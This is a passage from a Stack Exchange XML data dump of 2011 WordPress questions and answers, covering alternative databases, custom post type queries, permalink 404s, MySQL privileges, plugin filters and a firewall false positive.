&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What about Plugins?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;More importantly one would need to consider that a major benefit of WordPress is the huge repository of free plugins and many of those encode MySQL directly and thus would cease to work and blunt much of the benefit of WordPress.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Drupal Modules and their Support of Other Databases Besides MySQL&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;What's more in the Drupal world you do have multiple database support but the reality is that vast majority of Drupal modules that interact with the database only support MySQL. Supporting multiple databases requires many times more effort and most Drupal module developer simply don't have the resources or even the inclination to create free plugins with those levels of support and I would expect the same would be true with WordPress.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Real-world Use-Cases?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Which bring me to an honest question: What's the real-world use-cases for this? As a technologist myself I always look at these types of these as really cool, but as an entrepreneur I also look at them pragmatically and ask for use-cases. Are there situations where MySQL is really not an option but SQL Server is? Are the installations where benefits of Mongo DB would exceed the downsides? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(And just as importantly, are there companies who really need this who are willing to spend money to support the development and maintenance? More specifically I'd be curious to know your motivations? Again, that's an honest question; market research really, and not to challenge you in any way for asking.)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Next Steps?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you want to hear it more from the horse's mouth I'd suggest but asking on the &lt;strong&gt;&lt;a href=&quot;http://lists.automattic.com/mailman/listinfo/wp-hackers&quot; rel=&quot;nofollow&quot;&gt;wp-hackers mailing list&lt;/strong&gt;&lt;/a&gt; and posting a proposal ticket for MongoDB on &lt;a href=&quot;http://core.trac.wordpress.org/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;trac&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;UPDATE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I just came across &lt;a href=&quot;http://www.microsoft.com/web/platform/database/free-database.aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;this page on Microsoft.com&lt;/strong&gt;&lt;/a&gt; that claims they have a patch for using SQL Server with WordPress.  I didn't try it so I can't vouch for it, though here's Microsoft's WordPress page:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.microsoft.com/web/wordpress&quot; rel=&quot;nofollow&quot;&gt;http://www.microsoft.com/web/wordpress&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2011-01-21T08:10:48.177" LastActivityDate="2011-01-21T08:10:48.177" CommentCount="2" />
  <row Id="6413" PostTypeId="1" AcceptedAnswerId="6429" CreationDate="2011-01-06T08:56:23.647" Score="0" ViewCount="97" Body="&lt;p&gt;For some reason the excerpt box on the new posts page (post-new.php) is always closed. I can alter that with firebug, but it should be open anyway. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a &quot;closed&quot; class being added by someone somewhere, but it is unwanted. Is there any fix?&lt;/p&gt;&#xA;" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-06T13:21:52.563" LastActivityDate="2011-01-06T13:21:52.563" Title="how to reset metabox excerpt to open" Tags="&lt;metabox&gt;&lt;excerpt&gt;&lt;collapse&gt;" AnswerCount="1" />
  <row Id="6414" PostTypeId="2" ParentId="6373" CreationDate="2011-01-06T09:01:50.150" Score="0" ViewCount="" Body="&lt;p&gt;Your question seems to be a few in one :)&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;you should not have to create a page &lt;code&gt;labs&lt;/code&gt; as that is the home directory of your WordPress install already.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if the directory listing is showing, then I would make sure that installed WordPress properly. Is the .htaccess file there too and is perhaps the .htaccess file in your main directory (&lt;code&gt;mydomain.com&lt;/code&gt;) causing the directory showing in the WordPress directory (&lt;code&gt;mydomain.com/labs/&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;With the navigation menu you can set up the links as you want to set them up, so project1 and project2 pointing to things outside of WordPress, but you have to make sure that you don't give anything within WordPress the same names and I think that you will need to set up subdirectories under the labs directory. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2015" LastActivityDate="2011-01-06T09:01:50.150" CommentCount="2" />
  <row Id="6415" PostTypeId="2" ParentId="6402" CreationDate="2011-01-06T09:06:13.033" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@David:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are doing this for your own site then using &lt;code&gt;.htaccess&lt;/code&gt; might be the easiest way although it could get tricky if you want to make it work for a plugin as there would be lots of different subtle configuration differences to support.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are some articles that could help; not all are directly answering your question but they all address your security concern in one way or another:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.phpmagicbook.com/hide-wordpress-wp-admin-login-page/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hide WordPress WP-Admin Login Page&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/4444296/how-to-prevent-attacks-on-wordpress-wp-login-php-page&quot;&gt;&lt;strong&gt;How to prevent attacks on WordPress wp-login.php page&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.istanto.net/secure-your-wordpress-playing-with-your-htaccess-file.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Secure Your WordPress, Playing With Your .htaccess File.&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/how-to-change-from-wp-loginphp-to-login&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to: change from wp-login.php to login&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.org/support/topic/how-to-protect-wp-login-and-wp-admin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;How to protect wp-login and wp-admin&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.reaper-x.com/2007/09/01/hardening-wordpress-with-mod-rewrite-and-htaccess/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Hardening Wordpress with Mod Rewrite and htaccess&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And of course that's no blog expert on Apache and WordPress than the guy who writes &lt;a href=&quot;http://www.askapache.com/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;AskApache&lt;/strong&gt;&lt;/a&gt;. Be sure to check out these: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/wordpress/htaccess-password-protect.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;AskApache Password Protection, For WordPress&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/htaccess/security-with-htaccess.html&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Security with Apache htaccess Tutorial&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.askapache.com/t/wordpress/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;The list of &quot;WordPress&quot; tagged posts on AskApache&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-06T09:06:13.033" CommentCount="1" />
  <row Id="6416" PostTypeId="2" ParentId="6404" CreationDate="2011-01-06T09:17:13.140" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Dewayne:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can't really &lt;em&gt;&quot;share&quot;&lt;/em&gt; a post type; each post has one type. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm more concerned maybe the &lt;code&gt;'homepage_carousel'&lt;/code&gt; architecture you've chose is not right and thus is leading you into all sorts of conundrums like wanting to share post types. Can you describe more in detail what a &lt;code&gt;'homepage_carousel'&lt;/code&gt; holds? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first blush this sounds like a classic case of needing a taxonomy for your &lt;code&gt;post_type='artist'&lt;/code&gt; called &lt;em&gt;&quot;Featured Locations&quot; (maybe)&lt;/em&gt; and you use the tag &lt;em&gt;&quot;Home Page Carousel?&quot;&lt;/em&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can update your question to let me know why that won't work then I can help you more. Of it if will work then great!&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-06T09:17:13.140" CommentCount="1" />
  <row Id="6417" PostTypeId="1" AcceptedAnswerId="6418" CreationDate="2011-01-06T10:14:22.483" Score="0" ViewCount="344" Body="&lt;p&gt;I have installed the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI plugin&lt;/a&gt;. After activation of this plugin I have created a custom post type called &lt;code&gt;portfolio&lt;/code&gt;. Now I want to use this on the portfolio page in the front-end. How do I fetch &lt;em&gt;all post that are of custom post type &lt;code&gt;portfolio&lt;/code&gt;&lt;/em&gt;?&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:49:04.097" LastActivityDate="2011-01-11T08:39:29.297" Title="Query for custom post type?" Tags="&lt;get-posts&gt;&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="6418" PostTypeId="2" ParentId="6417" CreationDate="2011-01-06T10:33:02.273" Score="3" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;query_posts( array( 'post_type' =&amp;gt; array('post', 'portfolio') ) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;witch shows both normal posts and posts inside 'portfolio'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;query_posts('post_type=portfolio');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For only portfolio. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use as normal WP Query - read the Codex: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Usage&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Usage&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/query_posts#Post_.26_Page_Parameters&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/query_posts#Post_.26_Page_Parameters&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;    query_posts(array( &#xA;        'post_type' =&amp;gt; 'portfolio',&#xA;        'showposts' =&amp;gt; 10 &#xA;    ) );  &#xA;?&amp;gt;&#xA;&amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;h2&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;?php echo get_the_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;?php endwhile;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1463" LastEditorUserId="1463" LastEditorDisplayName="" LastEditDate="2011-01-06T10:44:40.183" LastActivityDate="2011-01-06T10:44:40.183" CommentCount="4" />
  <row Id="6421" PostTypeId="1" AcceptedAnswerId="6428" CreationDate="2011-01-06T11:17:00.067" Score="1" ViewCount="75" Body="&lt;p&gt;I've been trying to write a post about a simple Windows Powershell script for the last few hours, but when I try to preview the post with the script included, it takes down my server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately the server isn't mine to control (it's hosted by 34sp.com) so I'm limited in what I can do to diagnose the issue - I'm not sure where I'd start anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem &lt;i&gt;seems&lt;/i&gt; to stem from including the following lines in the post :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;&amp;lt;pre&amp;gt;&#xA;    $camera_getid.Parameters.Add(&quot;@CameraGUID&quot;, [System.Data.SqlDbType]&quot;NVarChar&quot;).Value = $guid;&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm having trouble narrowing down the problem precisely, since every time it happens, my server is down for about 5-10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone seen anything similar?&lt;/p&gt;&#xA;" OwnerUserId="2350" LastActivityDate="2011-01-06T13:10:16.270" Title="How can a single line in a blog post take down my server?" Tags="&lt;3.0.3&gt;" AnswerCount="1" />
  <row Id="6422" PostTypeId="2" ParentId="6410" CreationDate="2011-01-06T11:37:33.040" Score="4" ViewCount="" Body="&lt;h3&gt;Codec&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;See: &lt;a href=&quot;http://codex.wordpress.org/Using_Alternative_Databases#Solutions/&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Using_Alternative_Databases#Solutions/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Plugin Alternative&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;I used this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/pdo-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/pdo-for-wordpress/&lt;/a&gt; lately to run WordPress on my NAS using a SQLITE database in the backend instead of MySQL, which worked great.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What databases are supported?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently the basic layer supports any database that is supported by PDO.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;MS SQL Server (PDO) - Microsoft SQL Server and Sybase Functions (PDO_DBLIB)&lt;/li&gt;&#xA;&lt;li&gt;Firebird/Interbase (PDO) - Firebird/Interbase Functions (PDO_FIREBIRD)&lt;/li&gt;&#xA;&lt;li&gt;IBM (PDO) - IBM Functions (PDO_IBM)&lt;/li&gt;&#xA;&lt;li&gt;Informix (PDO) - Informix Functions (PDO_INFORMIX)&lt;/li&gt;&#xA;&lt;li&gt;MySQL (PDO) - MySQL Functions (PDO_MYSQL)&lt;/li&gt;&#xA;&lt;li&gt;Oracle (PDO) - Oracle Functions (PDO_OCI)&lt;/li&gt;&#xA;&lt;li&gt;ODBC and DB2 (PDO) - ODBC and DB2 Functions (PDO_ODBC)&lt;/li&gt;&#xA;&lt;li&gt;PostgreSQL (PDO) - PostgreSQL Functions (PDO_PGSQL)&lt;/li&gt;&#xA;&lt;li&gt;SQLite (PDO) - SQLite Functions (PDO_SQLITE)&lt;/li&gt;&#xA;&lt;li&gt;Note that through the PDO_ODBC extension, all ODBC supported databases are also supported, subject to drivers being available&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;HOWEVER each database needs its own driver and currently the only drivers written for this plugin are for&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;sqlite and&lt;/li&gt;&#xA;&lt;li&gt;mysql&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So for MySQL someone should write a driver&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-01-06T11:37:33.040" CommentCount="2" />
  <row Id="6423" PostTypeId="1" AcceptedAnswerId="7128" CreationDate="2011-01-06T12:23:09.183" Score="2" ViewCount="462" Body="&lt;p&gt;i have my website with permalink,&#xA;till now everything was fine, but few days before i changed my permalink, now everything is going wrong,&#xA;now each and every page i am getting 404,&#xA;even my about-us and contact us pages, they are giving me 404 page&#xA;if i come to my site from google or any search engines, then also it gives me 404&#xA;i have 1000+ posts on my website, for each post &amp;amp; page from google i get 404 page, but within the website except pages i get no 404 page&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my previous permalink:&lt;/strong&gt;&#xA;&lt;code&gt;%postname%/%category%/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i added custom taxonomy to my permalink,&lt;br&gt;&#xA;&lt;strong&gt;so now it is:&lt;/strong&gt;&lt;code&gt;%location%/%courses%/%postname%&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I asked this question first also, but it was into wrong section i guess, thats why asking again and in detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Related Question:&lt;/strong&gt; &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6071/custom-taxonomies-on-permalink&quot;&gt;custom taxonomies on permalink&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-06T13:53:08.760" LastActivityDate="2011-05-06T09:27:23.533" Title="permalink changed, now getting 404 for every pages" Tags="&lt;permalinks&gt;&lt;404-error&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" />
  <row Id="6424" PostTypeId="1" AcceptedAnswerId="6454" CreationDate="2011-01-06T12:53:46.427" Score="4" ViewCount="391" Body="&lt;p&gt;The short installation instruction for WordPress (&lt;a href=&quot;http://codex.wordpress.org/Installing_WordPress&quot; rel=&quot;nofollow&quot;&gt;&quot;5 Minutes&quot;&lt;/a&gt;) state that:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Create a database for WordPress on your web server, as well as a MySQL user who has all privileges for accessing and modifying it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;While setting up a new blog professionally I was wondering how that maps to what the MySQL database user privileges/permissions configuration offers me:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Data:&lt;/strong&gt; &lt;code&gt;SELECT&lt;/code&gt;, &lt;code&gt;INSERT&lt;/code&gt;, &lt;code&gt;UPDATE&lt;/code&gt;, &lt;code&gt;DELETE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Definition:&lt;/strong&gt; &lt;code&gt;CREATE&lt;/code&gt;, &lt;code&gt;ALTER&lt;/code&gt;, &lt;code&gt;DROP&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Extra:&lt;/strong&gt; &lt;code&gt;INDEX&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;More:&lt;/strong&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;LOCK TABLES&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;REFERENCES&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CREATE TEMPORARY TABLES&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CREATE VIEW&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;SHOW VIEW&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;CREATE ROUTINE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;EXECUTE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;ALTER ROUTINE&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm pretty sure for the first three groups, I named them Data, Definition and Extra here. But what about the others below the &lt;strong&gt;More&lt;/strong&gt; entry? Normally I would say, those are not needed, but I would like to get a second opinion.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T10:28:47.763" LastActivityDate="2011-02-05T10:28:47.763" Title="MySQL Database User: Which Privileges are needed?" Tags="&lt;database&gt;&lt;mysql&gt;&lt;permissions&gt;&lt;setup&gt;&lt;privileges&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6425" PostTypeId="1" AcceptedAnswerId="6427" CreationDate="2011-01-06T12:56:23.233" Score="1" ViewCount="71" Body="&lt;p&gt;I have a plugin that I only want to execute when the home page is being viewed. How would I stub out my plugin in order to make this happen?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is does not work...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php&#xA; /*&#xA; Plugin Name: My Test Plugin&#xA; */&#xA;&#xA;&#xA; if ( is_home() OR is_sticky() )&#xA; {&#xA;  add_filter( 'the_content', 'my_function' );&#xA; }&#xA;&#xA; function my_function( $content )&#xA; { &#xA;  echo &quot;hello world&quot;.$content;&#xA; }&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my original code, but it executes the filter on every page. Which seems overkill to me, since I only want the plugin to run on the home page anyway.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; add_filter( 'the_content', 'wpse6034_the_content' );&#xA; function wpse6034_the_content( $content )&#xA; {&#xA;  if ( is_home() ) {&#xA;   $content .= '&amp;lt;p&amp;gt;Hello World!&amp;lt;/p&amp;gt;';&#xA;  }&#xA;  return $content;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-01-06T13:08:13.810" Title="How to create a plugin that only operates on the home page?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6426" PostTypeId="2" ParentId="6423" CreationDate="2011-01-06T13:02:11.300" Score="0" ViewCount="" Body="&lt;p&gt;I might be very wrong on this one, but I don't think that you can add things like %location% or %courses% to your permalink structure. At least not out of nothing. So at least it looks like information about your configuration is missing to answer your question.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-06T13:02:11.300" CommentCount="8" />
  <row Id="6427" PostTypeId="2" ParentId="6425" CreationDate="2011-01-06T13:08:13.810" Score="2" ViewCount="" Body="&lt;p&gt;You need to add the filter later:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function _add_my_filter() {&#xA; if ( is_home() OR is_sticky() )&#xA; {&#xA;  add_filter( 'the_content', 'my_function' );&#xA; }&#xA;}&#xA;add_action('template_redirect', '_add_my_filter');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-01-06T13:08:13.810" />
  <row Id="6428" PostTypeId="2" ParentId="6421" CreationDate="2011-01-06T13:10:16.270" Score="3" ViewCount="" Body="&lt;p&gt;Wordpress, by default, has no problem with such a content. It won't crash your server. And I think in fact this does not crash your server as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think your server has some webapplication firewall configured. Such a firewall checks each request for malicious data that are assumed to be triggering exploits or introducing payloads to the server or installed applications.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those firewalls are often configured with a blacklist that is &quot;best guessed&quot;. This means, they do block requests that are valid as well, because such a firewall can not differ between a valid or invalid request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some of those webapplication-firewalls are also interfaced into IP based firewalls. So on seeing a malicious request they block your computer accessing the server for a certain period of time, e.g. 5 to 10 minutes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please contact your server administration and ask them if such a firewall exists because you have got problem to post (as in HTTP POST METHOD) the content you named to your host. They should be able to reconfigure the firewall and tweak the rule that is the cause of the false positive.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-06T13:10:16.270" CommentCount="4" />
  <row Id="6429" PostTypeId="2" ParentId="6413" CreationDate="2011-01-06T13:19:27.073" Score="1" ViewCount="" Body="&lt;p&gt;By default, Wordpress saves the open/close state of these metaboxes each time you toggle it. This is done via javascript, requesting an ajax endpoint on the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to find out if that request is still send or not. If it's not send (e.g. javascript error, blocked by some plugin), then you found the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is send, you need to find out if the new state is successfully &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4381/make-custom-metaboxes-collapse-by-default/4383#4383&quot;&gt;stored inside the database&lt;/a&gt;. If it is not stored inside the database, you found the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is stored into the database, you need to find out if it is read out of the database. If it is not read out of the database, then you found the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it is read out of the database you need to find out if it get's correctly applied as the metabox class either via the pages response or via some additional javascript / ajax hook. I don't remember from mind if there is something like the latter as well. If not, you found the cause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it does, well then I have no additional idea what the cause of the error might be right away, but I'm pretty sure if you debug it that far, you found the cause ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More information is available here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/4381/make-custom-metaboxes-collapse-by-default&quot;&gt;Make Custom Metaboxes Collapse by Default&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-06T13:19:27.073" CommentCount="1" />
  <row Id="6430" PostTypeId="2" ParentId="6406" CreationDate="2011-01-06T13:36:00.787" Score="1" ViewCount="" Body="&lt;p&gt;&lt;strong&gt;Q: Is it possible to set the post title upon saving the post to be the assigned category name?&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A: Yes it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each time a post is saved or created, a filter is called. You can hook into that filter and set the title of the post to the value you want. This will, in contrast to a solution with jQuery, ensure that your data is correct regardless how the editor configured his browser or if something is broken on his system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to find out more about the hooks I'm talking about, these two functions are a good place to start: &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_update_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_update_post()&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_insert_post&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_insert_post()&lt;/code&gt;&lt;/a&gt;. The related source-code is available in &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/post.php&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;/wp-includes/post.php&lt;/code&gt;&lt;/a&gt;. You can find all associated hooks inside the functions code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are multiple available, so I can only suggest one at best guess. That would be  &lt;code&gt;wp_insert_post_data&lt;/code&gt; in &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/post.php#L2531&quot; rel=&quot;nofollow&quot;&gt;line 2 531&lt;/a&gt;, you can change/set the title by hooking into that filter:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data', function($data, $postarr) {&#xA;    /* your job */&#xA;    $data['post_title'] = $defaultTitle;&#xA;    $return $data;&#xA;}, 10, 2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or it's possible even better to hook into &lt;a href=&quot;http://core.trac.wordpress.org/browser/trunk/wp-includes/post.php#L2620&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;save_post&lt;/code&gt; action in line 2 620&lt;/a&gt; as it's already saved within the database and might work for both functions. The principle is the same: You modify the data on your own.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-06T13:36:00.787" CommentCount="2" />
  <row Id="6431" PostTypeId="2" ParentId="6367" CreationDate="2011-01-06T13:44:44.837" Score="1" ViewCount="" Body="&lt;p&gt;the error you see is given by PHP and is giving you a hint that the code you use has not been programmed carefully. It is violating strict standards, in you case, a function is called in a way it should not. That's basically all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume on the server you just have installed the integration, there is some other PHP configuration. So previously on some other configuration there was not such error reporting given.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please contact the author(s) of the wordpress IPB integration and report the error you are getting back to them. If they have questions back, please try the best you can to answer their questions. This will help them to improve the software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are a coder your own, you can as well fix the problem on your end and report the problem with the solution back to project.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2011-01-06T13:44:44.837" CommentCount="3" />
